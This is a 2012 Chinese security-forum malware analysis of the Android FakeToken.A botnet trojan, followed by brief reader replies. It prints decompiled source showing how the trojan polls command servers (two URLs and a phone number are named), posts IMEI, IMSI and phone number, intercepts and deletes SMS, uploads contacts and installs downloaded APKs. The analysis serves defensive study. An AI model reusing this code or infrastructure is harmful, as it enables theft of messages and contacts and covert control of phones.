首页
论坛
课程
招聘
[原创]一款android bot分析
2012-3-31 14:50 13871

[原创]一款android bot分析

2012-3-31 14:50
13871
Android_FakeToken.A_infected_分析报告

http://bbs.pediy.com/showthread.php?p=1059258
这是我发的第一篇,这篇我还是在这个网站上找的恶意样本
http://contagiominidump.blogspot.com/2012/03/android-faketoken.html

另外版主在的话,能不能把我的第一篇移到这个版面来。

1 首先解压缩,反编译就不细说了。具体用到了jd-gui,dex2jar,apktool
得到了AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="token.generator"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="4" />
    <!-- 大量危险权限,包括了读取电话信息,访问网络,接发短信(估计也是控制端的一种方式,后来发现其实只用了http通信控制,短信只是辅助窃取手段),安装程序,开机启动 -->
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INSTALL_PACKAGES" />
    <uses-permission android:name="android.permission.DELETE_PACKAGES" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application
        android:clearTaskOnLaunch="true"
        android:icon="@drawable/icon"
        android:label="@string/app_name"
//这里要注意,他自己实现了token.bot.MainApplication,这个其实是bot启动的一个入口
        android:name="token.bot.MainApplication" >
        <receiver
            android:name="token.bot.AlarmReceiver"
            android:process=":remote" />

        <service
            android:label="@string/app_name"
            android:name="token.bot.MainService" />

        <!-- 高危的receiver,利用开机启动,用户结束锁屏,来电或者去电的状态变化来启动MainService,后来发现方法内部还没实现,估计在以后的版本会有的 -->
        <receiver android:name="token.bot.AutorunReceiver" >
            <intent-filter >
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.USER_PRESENT" />
                <action android:name="android.intent.action.PHONE_STATE" />
            </intent-filter>
        </receiver>

        <!-- 短信监控,估计后面代码中会利用sms来做控制命令 -->
        <receiver
            android:enabled="true"
            android:name="token.bot.SmsReciver" >
            <intent-filter android:priority="2147483647" >
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>

        <!—这个是界面程序没什么好说的-->
        <activity
            android:label="@string/app_name"
            android:name="token.bot.MainActivity"
            android:theme="@android:style/Theme.NoTitleBar.Fullscreen" >
            <intent-filter >
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name="token.bot.UpdateActivity" >
            <intent-filter >
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

可以看到这个程序请求了许多权限,其中包括了开机启动,访问网络,读取联系人信息短信,安装等多个危险的权限。其中token.bot.MainApplication启动线程,下面分析

程序结构图


Org那些是simpleframework的一个lib负责xml的一些操作,不用关注。核心是token.bot看名字这个有点像一个手机僵尸网络程序。其中assets下面有一个网页资源。
这个是安装好的图标





在程序刚启动的时候,因为配置程序中制定了android:name="token.bot.MainApplication"后所以台会先运行MainApplication,这个主要负责bot系统初始化,得到配置参数。以及一些基础通信功能的实现,代码比较长。我删剪了很多。整个botnet是有两种通信方式1 http post方式发送请求到服务器,通过返回来得到控制命令,2是通过短信窃取资料或者乱发短信。

首先关注MainApplication的onCreate方法,这个方法主要是从raw资源中提取设置,并保存在setting中,最后启动了MainService。而MainService主要负责botnet的程序控制,是核心部分。

Class MainApplication
public void onCreate()
    {
        PendingIntent pendingintent;
        AlarmManager alarmmanager;
        StartSettings startsettings;
        ServerResponse serverresponse;
        super.onCreate();
        System.out.println("MainApplication::onCreate()");
        
        //得到android的一些唯一信息,估计是服务端用来区分不同bot的,
        //imei是getDeviceId,imsi是getSubscriberId=phone是getLine1Number
        imei = Settings.getImei(this);
        imsi = Settings.getImsi(this);
        phone = Settings.getPhone(this);
        settings = new Settings();
        
        //PendingIntent是一种比较特殊的intent,他不是立即生效的,而是一般在一些别的事件生效后再发送
        //在这段代码中,实际上它是和一个AlarmManager配合使用,AlarmManager实质是一个定时器,实质就是延时去启动AlarmReceiver
        //在AlarmReceiver中,只是简单的调用了MainService.start(paramContext, paramIntent, "alarm");        pendingintent = PendingIntent.getBroadcast(this, 0x193dac6a, new Intent(this, token/bot/AlarmReceiver), 0);
        alarmmanager = (AlarmManager)getSystemService("alarm");
        //读取配置信息,第一次的时候这个是空的,会报错
        if(Settings.load(this))
            break MISSING_BLOCK_LABEL_375;
        System.out.println("FIRST START!");
        
        //这个文件是比较关键的一个配置文件,保存着初始的Botnet Server信息
        /*内容如下
         * <?xml version="1.0" encoding="UTF-8" ?>
         * <settings><version value="1.0" />
         * <sid value="sid_1" />
         * <server value="http://icoolshop.ru/cp/server.php" />
         * <server value="http://iconsshopbest.com/cp/server.php" />
         * <number value="79021121067" />
         * <period value="43200" />
         * <startPeriod value="60" />
         * <serverPrefix value="qe4faf23r4e2" />
         * <smsPrefix value="santander" />
         * </settings>   
         */
        //loadStartSettings是负责把这个xml中如上的配置信息读取到startsettings。
        //明显我们可以看到botnet域名,看情况是俄罗斯的,
        //         <server value="http://icoolshop.ru/cp/server.php" />
        //         <server value="http://iconsshopbest.com/cp/server.php" />
        //以及他的控制号码 79021121067
   
    startsettings = loadStartSettings("/res/raw/start.xml");
        //下面这里,我没有找到这个raw资源,不知道什么情况,估计上应该是和服务器进行一次通信,得到了catchSmsList(根据后面的代码catachSms应该是SmsItem类,后面会详细解析)和deleteSmsList并把它们保存了起来,
        //好像没什么特殊的。
        serverresponse = loadStartSettingsFilters("/res/raw/filters.xml");
        if(serverresponse.catchSmsList.size() <= 0) goto _L2; else goto _L1
_L1:
        int j = 0;
_L7:
        if(j < serverresponse.catchSmsList.size()) goto _L3; else goto _L2
_L2:
        if(serverresponse.deleteSmsList.size() <= 0) goto _L5; else goto _L4
_L4:
        int i = 0;
_L8:
        if(i < serverresponse.deleteSmsList.size()) goto _L6; else goto _L5
_L5:   
       
           //下面就是把从start.xml和系统中读取到的信息保存起来,保存路径data/data/files/settings
                  /*内容如下:具体解释在后面
                   * <settingsSet>
                                           <catchSmsList class="java.util.ArrayList"/>
                                           <deleteSmsList class="java.util.ArrayList"/>
                                           <number>79021121067</number>
                                           <version>1.0</version>
                                           <smsPrefix>santander</smsPrefix>
                                           <sendSmsResultList class="java.util.ArrayList"/>
                                           <serverList class="java.util.ArrayList">
                                      <string>http://icoolshop.ru/cp/server.php</string>
                                      <string>http://iconsshopbest.com/cp/server.php</string>
                                           </serverList>
                                           <serverPrefix>qe4faf23r4e2</serverPrefix>
                                           <sid>sid_1</sid>
                                           <sendInitSms>false</sendInitSms>
                                           <timeConnection>1333182351493</timeConnection>
                                           <period>43200</period>
                                </settingsSet>
                   */
        startsettings.printToOutStream();
        Settings.saved.version = startsettings.version;
        Settings.saved.sid = startsettings.sid;
        Settings.saved.serverList = startsettings.serverList;
        Settings.saved.number = startsettings.number;
        Settings.saved.period = startsettings.period;
        Settings.saved.serverPrefix = startsettings.serverPrefix;
        Settings.saved.smsPrefix = startsettings.smsPrefix;
        Settings.saved.timeConnection = System.currentTimeMillis() + startsettings.startPeriod * (long)Settings.SECOND;
        settings.save(this);
_L9:
        Settings.saved.printToOutStream();
        //发送pendingintent,实质就是在确保配置文件保存成功的情况下,启动MainService      
alarmmanager.set(0, Settings.saved.timeConnection, pendingintent);
        System.out.println("START OK!");
        return;
_L3:
        Settings.saved.catchSmsList.add((SmsItem)serverresponse.catchSmsList.get(j));
        j++;
          goto _L7
_L6:
        Settings.saved.deleteSmsList.add((SmsItem)serverresponse.deleteSmsList.get(i));
        i++;
          goto _L8
        if(System.currentTimeMillis() > Settings.saved.timeConnection)
        {
            Settings.saved.timeConnection = System.currentTimeMillis() + Settings.saved.period * (long)Settings.SECOND;
            settings.save(this);
        }
          goto _L9
    }

然后看下启动MainService的代码:这部分主要是包装了一个putExtra(“key”,”alarm”);
MainService.start(paramContext, paramIntent, "alarm");
public static void start(Context paramContext, Intent paramIntent, String paramString)
  {
    Intent localIntent = new Intent(paramContext, MainService.class);
    Bundle localBundle = paramIntent.getExtras();
    if (localBundle != null)
      localIntent.putExtras(localBundle);
    localIntent.putExtra("key", paramString);
    paramContext.startService(localIntent);
  }

然后启动MainService:标红的意味着两种通信方式,如果是1就是利用http来获取控制命令,post信息。如果是2就是短信窃取,这个是和SmsReciver紧密相关的
  public void onStart(Intent paramIntent, int paramInt)
  {
    super.onStart(paramIntent, paramInt);
    Bundle localBundle = paramIntent.getExtras();
    String str1;
    if ((localBundle != null) && (localBundle.get("key") != null))
    {
      str1 = (String)localBundle.get("key");
      if (str1.compareTo("alarm") != 0)
        break label67;
      new Thread(new ThreadOperation(this, 1, null)).start();   
}
    while (true)
    {
      return;
      label67: if (str1.compareTo("catch") == 0)
      {
        String str2 = (String)localBundle.get("number");
        String str3 = (String)localBundle.get("text");
        String str4 = (String)localBundle.get("id");
        String[] arrayOfString = new String[3];
        arrayOfString[0] = str2;
        arrayOfString[1] = str3;
        arrayOfString[2] = str4;
        new Thread(new ThreadOperation(this, 2, arrayOfString)).start();      
continue;
      }
    }
  }

这个new Thread通过各种包装实际上还是调用了MainService的threadOperationRun方法,其中paramInt就是上面说的通信方式,如果是1的话就调用MainApplication.sendRequest();来获取控制命令,如果是2就通过sendCatchSms(arrayOfString[0], arrayOfString[1]);来发送截获到的制定短信.当然截获到的sms也可以通过post提交的方式发送(MainApplication.sendCatchRequest(arrayOfString[0], arrayOfString[1]);),这两种都有的
http获得response后,利用executeCommands来执行控制命令。
public void threadOperationRun(int paramInt, Object paramObject)
  {
    ServerResponse localServerResponse2;
    if (paramInt == 1)
    {
      localServerResponse2 = MainApplication.sendRequest();   
  executeCommands(localServerResponse2);
      if (localServerResponse2.wait == 0L)
      {
        Settings.saved.timeConnection = (System.currentTimeMillis() + Settings.saved.period * Settings.SECOND);
        MainApplication.settings.save(this);
        Intent localIntent = new Intent(this, AlarmReceiver.class);
        PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 423472234, localIntent, 0);
        ((AlarmManager)getSystemService("alarm")).set(0, Settings.saved.timeConnection, localPendingIntent);
      }
    }
    while (true)
    {
      return;
      Settings.saved.timeConnection = (System.currentTimeMillis() + localServerResponse2.wait * Settings.SECOND);
      break;
      if (paramInt != 2)
        continue;
      String[] arrayOfString = (String[])paramObject;
      long l = Long.parseLong(arrayOfString[2]);
      if (MainApplication.settings.isNeedSendCatchSmsToSms(l))
        sendCatchSms(arrayOfString[0], arrayOfString[1]);
      ServerResponse localServerResponse1 = MainApplication.sendCatchRequest(arrayOfString[0], arrayOfString[1]);
      if (localServerResponse1.removeCurrentCatchFilter)
      {
        MainApplication.settings.removeCatchFilter(l);
        MainApplication.settings.save(this);
        Settings.saved.printToOutStream();
      }
      executeCommands(localServerResponse1);
    }
  }

下面就是MainApplication.sendRequest()的实质,我删除了大量异常处理和一部分关于短信窃取的代码功能,可以看到每次http请求,实际上就是轮询setting中的serverList,然后对每一个url发送post来获取控制命令。其中发送了imei,imsi,phone以及sid等。
        public static ServerResponse sendRequest()
    {
        int i;
        ServerResponse serverresponse1;
        ServerResponse serverresponse = new ServerResponse();
        i = 0;
        serverresponse1 = serverresponse;
_L3:
        String s;
        HttpURLConnection httpurlconnection;
        if(i >= Settings.saved.serverList.size())
            return serverresponse1;
       s = (String)Settings.saved.serverList.get(i);        httpurlconnection = null;
        DataOutputStream dataoutputstream1;
        httpurlconnection = (HttpURLConnection)(new URL(s)).openConnection();
        httpurlconnection.setDoInput(true);
        httpurlconnection.setDoOutput(true);
        httpurlconnection.setUseCaches(false);
        httpurlconnection.setRequestMethod("POST");
        httpurlconnection.setRequestProperty("Content-Type", "multipart/form-data; boundary=AaB03x");
        dataoutputstream1 = new DataOutputStream(httpurlconnection.getOutputStream());
        StringBuffer stringbuffer;
        int j;
        dataoutputstream1.writeBytes("--AaB03x");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"imei\"");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes(imei);        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("--AaB03x");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"imsi\"");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes(imsi);
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("--AaB03x");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"phone\"");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes(phone);
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("--AaB03x");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"version\"");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes(Settings.saved.version);
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("--AaB03x");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"sid\"");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes(Settings.saved.sid);
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("--AaB03x");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"type\"");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("\r\n");
        dataoutputstream1.writeBytes("callback");
        dataoutputstream1.writeBytes("\r\n");
        stringbuffer = new StringBuffer("");
        j = 0;
_L4:
}
if(httpurlconnection.getResponseCode() != 200)
            break MISSING_BLOCK_LABEL_805;
        serverresponse5 = parseResponse(httpurlconnection.getInputStream());

这是对返回的serverresponse的解析与执行:
serverresponse5 = parseResponse(httpurlconnection.getInputStream());parseResponse()方法我就不细写了,实质就是对返回的inputStream进行解析,由于是采用xml格式进的通信的,实质就是提取http中对应元素信息的过程。
这是解析返回的ServerResponse类格式

public class ServerResponse
{ //catchSmslist主要是用在接收短信过滤上,具体结构在下面,主要会用到SmsItem.number和SmsIteml.text这两个属性,实质就是如果接收到的短信是制定号码发来的或着包含指定内容,我们就认为它是敏感信息短信,而且这是一个list,可以包含多个源号码和敏感信息,而且具体属性中如果是*就表示匹配一切。实际上就是利用http控制方式来更新短信窃取匹配模式  
public List<SmsItem> catchSmsList = new ArrayList();
// deleteSmsList结构和上面的一样,具体功能上主要是删除指定格式的短信  
public List<SmsItem> deleteSmsList = new ArrayList();
//下面的控制命令是去get一个页面之类的,估计是用来点广告之类,  
public List<HttpParam> httpParamList = new ArrayList();
  public String httpRequestMethod = "";
  public String httpRequestUrl = "";
  public String number = "";
  public boolean removeAllSmsFilters = false;
  public boolean removeAllSmsResults = false;
  public boolean removeCurrentCatchFilter = false;
//窃取sendContactList联系人信息,boolean值来表示是否窃取联系人信息  
public boolean sendContactList = false;
//实质是需要发送的sms列表,包括了目的phone和内容,这部分难道是要做短信ddos,或者什么乱七八糟的订阅骗钱应用?  
public List<SmsItem> sendSmsList = new ArrayList();
  public String server = "";
  public ScreenItem updateScreen = new ScreenItem();
//需要下载的新的apk文件url  
public String updateUrl = "";
  public long wait = 0L;
}
public class SmsItem
{ @Attribute
  public String id;
  @Attribute
  public long key;
  @Attribute
  public String number;
  @Element
  public String text;
  @Attribute
  public Boolean toSms;
}

下面就是对ServerResponse的执行过程了。由于对response已经做了如上转换,所以控制命令就直接对着对应属性判断就可以了。其实最主要功能,我已经加红标粗了。就是下载别的apk并安装。
public void executeCommands(ServerResponse paramServerResponse)
  {
    while (true)
    {
      int i;
      try
      {
        paramServerResponse.printToOutStream();
        if (paramServerResponse.server.length() <= 0)
          continue;
//顾名思义,list中添加新的控制服务器,然后保存
        Settings.saved.serverList.add(paramServerResponse.server);
        
MainApplication.settings.save(this);
        if (paramServerResponse.number.length() <= 0)
          continue;
//顾名思义,添加新的控制服务器电话号码,然后保存
        Settings.saved.number = paramServerResponse.number;
        MainApplication.settings.save(this);
        if (!paramServerResponse.removeAllSmsFilters)
          continue;
//下面这些都是对catachSmslist和deleteSmslist以及sendSmsList的操作,前面我讲过了这些属性的作用。其实无非是增加删除,由于都只是列表就不细说了        
Settings.saved.deleteSmsList.clear();
        MainApplication.settings.save(this);
        if (paramServerResponse.catchSmsList.size() <= 0)
          continue;
        int k = 0;
        if (k < paramServerResponse.catchSmsList.size())
          continue;
        MainApplication.settings.save(this);
        if (paramServerResponse.deleteSmsList.size() <= 0)
          continue;
        int j = 0;
        if (j < paramServerResponse.deleteSmsList.size())
          continue;
        MainApplication.settings.save(this);
        if (paramServerResponse.sendSmsList.size() <= 0)
          continue;
        i = 0;
        if (i < paramServerResponse.sendSmsList.size())
          continue;
        MainApplication.settings.save(this);
        if (paramServerResponse.httpRequestUrl.length() <= 0)
          continue;
//下面的控制命令是去get一个页面之类的,估计是用来点广告之类,      
  if (!paramServerResponse.httpRequestMethod.equals("GET"))
          continue;
        MainApplication.sendGetRequest(paramServerResponse.httpRequestUrl, paramServerResponse.httpParamList);
//窃取sendContactList联系人信息,boolean值来表示是否窃取联系人信息      
  if (!paramServerResponse.sendContactList)
          continue;
        MainApplication.sendContactsToServer(this, MainApplication.contactsToXml(MainApplication.getContacts(this)));
        if (paramServerResponse.updateUrl.length() <= 0)
          continue;
        ConnectivityManager localConnectivityManager = (ConnectivityManager)getSystemService("connectivity");
        if ((!localConnectivityManager.getNetworkInfo(1).isAvailable()) && (!localConnectivityManager.getNetworkInfo(0).isConnectedOrConnecting()))
          continue;
        String str = System.currentTimeMillis() + ".apk";
//这部分比较关键,实际上就是根据服务器返回的updateUrl,来去下载对应的apk,在外部sd卡上,并且调用UpdateActivity这个来安装外部apk,不过这里依旧需要用户自己在权限界面点击确定才会安装成功。
      if (!MainApplication.DownloadApk(paramServerResponse.updateUrl, str))
          continue;
        MainApplication.updataApkPath = Environment.getExternalStorageDirectory() + "/download/" + str;
        MainApplication.updateScreen = paramServerResponse.updateScreen;
        Intent localIntent = new Intent(this, UpdateActivity.class);
        localIntent.addFlags(268435456);
        startActivity(localIntent);
        if (paramServerResponse.removeAllSmsResults)
        {
          Settings.saved.sendSmsResultList.clear();
          MainApplication.settings.save(this);
          break label612;
          Settings.saved.catchSmsList.add((SmsItem)paramServerResponse.catchSmsList.get(k));
          k++;
          continue;
          Settings.saved.deleteSmsList.add((SmsItem)paramServerResponse.deleteSmsList.get(j));
          j++;
          continue;
//这部分就是我前面提到的sendSmsList,可以看到这里进行了发送。        
  SmsItem localSmsItem = (SmsItem)paramServerResponse.sendSmsList.get(i);
          if (!sendSms(localSmsItem.number, localSmsItem.text))        
    continue;
          Settings.saved.sendSmsResultList.add(new SendSmsResult(localSmsItem.id, true));
          break label613;
          Settings.saved.sendSmsResultList.add(new SendSmsResult(localSmsItem.id, false));
        }
      }
      catch (Exception localException)
      {
        localException.printStackTrace();
        break label612;
        if (!paramServerResponse.httpRequestMethod.equals("POST"))
          continue;
        MainApplication.sendPostRequest(paramServerResponse.httpRequestUrl, paramServerResponse.httpParamList);
        continue;
      }
      label612: return;
      label613: i++;
    }
  }

基本上http botnet部分的命令接受与控制就是这个样子了。

其中对catchSmsList和deleteSmslist的利用是在SmsReciver中实现的。实质就是监听了sms的接收,然后进了过滤
public class SmsReciver extends BroadcastReceiver
{
  private SmsMessage[] getSmsMessages(Bundle paramBundle)
  {
    Object[] arrayOfObject = (Object[])paramBundle.get("pdus");
    SmsMessage[] arrayOfSmsMessage = new SmsMessage[arrayOfObject.length];
    for (int i = 0; ; i++)
    {
      if (i >= arrayOfObject.length)
        return arrayOfSmsMessage;
      arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])arrayOfObject[i]);
    }
  }

  public void onReceive(Context paramContext, Intent paramIntent)
  {
    SmsMessage[] arrayOfSmsMessage = getSmsMessages(paramIntent.getExtras());
    int i = 0;
    int j = 0;
    while (true)
    {
      if ((j < arrayOfSmsMessage.length) || (i != 0));
      try
      {
        abortBroadcast();
        return;
        SmsMessage localSmsMessage = arrayOfSmsMessage[j];
        String str1 = localSmsMessage.getOriginatingAddress();
        String str2 = localSmsMessage.getMessageBody();

//匹配catchSmsList
        CatchResult localCatchResult = MainApplication.settings.isCatchMessage(str1, str2);
      
  if (localCatchResult.result)
//一旦匹配到了sms,就调用MainService.start发送,这个在前面讲到了
          MainService.start(paramContext, paramIntent, "catch", str1, str2, localCatchResult.key);
//匹配deleteSmsList
        if ((MainApplication.settings.isNewServer(paramContext, str1, str2)) || (MainApplication.settings.isDeleteMessage(str1, str2)))
          i = 1;
        j++;
      }
      catch (Exception localException)
      {
        while (true)
          localException.printStackTrace();
      }
    }
  }
}

如上基本就分析完了这个手机的botnet木马,功能上还是比较齐全的,有点广告功能,更新下载,窃取指定短信,窃取联系人信息,短信盗用发送。采用http post通信控制,数据交互采用xml,每个bot节点根据imsi等来区分。更新上考虑的蛮完备的,包括server名单的更新,CC电话的更新,需要窃取信息格式的更新等等。
但是不幸的是,这两个域名不知道是被墙了还是挂了还是怎么着,反正我现在解析不能,所以动态的一些分析就不做了。从这个bot程序来看,手机上botnet应该是已经起步了
<string>http://icoolshop.ru/cp/server.php</string>
<string>http://iconsshopbest.com/cp/server.php</string>

附件包括源apk,分析报告,和反编译后的部分代码。
Android_FakeToken.A_infected.rar

[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年秋季班火热招生!!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (7)
雪    币: 599
活跃值: 活跃值 (17)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
zhaokang 活跃值 3 2012-3-31 15:23
2
0
顶 一个,沙发..
雪    币: 0
活跃值: 活跃值 (24)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
tihty 活跃值 2 2012-3-31 19:34
3
0
不懂的路过。
雪    币: 38
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yqhzh 活跃值 2012-5-26 17:05
4
0
学习了,谢谢
雪    币: 243
活跃值: 活跃值 (16)
能力值: ( LV13,RANK:500 )
在线值:
发帖
回帖
粉丝
kanghtta 活跃值 12 2012-5-27 14:30
5
0
这个东西带root吗?
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wuweizi 活跃值 2012-6-7 17:29
6
0
精彩的分析啊啊啊啊

看来以后要特别注意android提供的权限了,我一般是用apktool解包,然后阉割掉敏感权限比如联网啦,定位啦接受发送短信啦啦啦等等。没找到能单独打包AndroidManifest.xml的程序,AXMLP2.jar只能解不能打包,要不就更简单了。
雪    币: 222
活跃值: 活跃值 (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
舵手 活跃值 3 2012-6-10 13:22
7
0
学习学习学习
雪    币: 1
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_faith 活跃值 2017-11-1 10:17
8
0
又牛又有分享精神,大神收下我的膝盖
游客
登录 | 注册 方可回帖
返回